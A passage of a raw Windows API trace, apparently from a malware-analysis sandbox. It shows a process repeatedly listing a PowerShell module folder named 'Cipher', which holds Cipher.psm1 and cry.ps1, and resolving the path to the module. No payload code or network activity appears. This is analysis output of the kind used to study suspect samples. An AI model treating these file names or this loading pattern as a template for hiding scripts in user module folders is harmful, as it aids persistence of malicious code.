(dwNewMode=0x1, lpOldMode=0x5a2e97c) returned 1 [0263.545] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8c8) returned 1 [0263.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.546] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e678 | out: lpFindFileData=0x5a2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c99520 [0263.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8c8) returned 1 [0263.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.547] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e678 | out: lpFindFileData=0x5a2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c994a0 [0263.547] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.547] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0263.547] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0263.547] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0263.548] FindClose (in: hFindFile=0x5c99520 | out: hFindFile=0x5c99520) returned 1 [0263.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e688) returned 1 [0263.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8e8) returned 1 [0263.548] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.548] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0263.549] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0263.549] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e6d0 | out: lpFindFileData=0x5a2e6d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.549] FindClose (in: hFindFile=0x5c994a0 | out: hFindFile=0x5c994a0) returned 1 [0263.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e688) returned 1 [0263.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8e8) returned 1 [0263.684] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ead4) returned 1 [0263.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.686] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e884 | out: lpFindFileData=0x5a2e884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c994a0 [0263.686] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e8ac | out: lpFindFileData=0x5a2e8ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.686] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e8ac | out: lpFindFileData=0x5a2e8ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0263.686] FindClose (in: hFindFile=0x5c994a0 | out: hFindFile=0x5c994a0) returned 1 [0263.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eac4) returned 1 [0263.686] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0263.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.687] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c994a0 [0263.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0263.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.687] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c99520 [0263.688] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.688] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0263.688] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0263.688] FindNextFileW (in: hFindFile=0x5c994a0, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0263.688] FindClose (in: hFindFile=0x5c994a0 | out: hFindFile=0x5c994a0) returned 1 [0263.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7d0) returned 1 [0263.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea30) returned 1 [0263.688] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.688] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0263.689] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0263.689] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e818 | out: lpFindFileData=0x5a2e818*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.689] FindClose (in: hFindFile=0x5c99520 | out: hFindFile=0x5c99520) returned 1 [0263.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7d0) returned 1 [0263.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea30) returned 1 [0263.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0263.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0263.692] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0263.693] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0263.693] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0263.693] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0263.693] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0263.693] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0263.693] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0263.693] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0263.693] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0263.693] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0263.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0263.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0263.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0263.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0263.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0263.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0263.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell")) returned 0x10 [0263.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell")) returned 0x10 [0263.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0263.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x2e [0263.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0263.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0263.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0263.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0263.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.695] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0263.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0263.696] GetFullPathNameW (in: 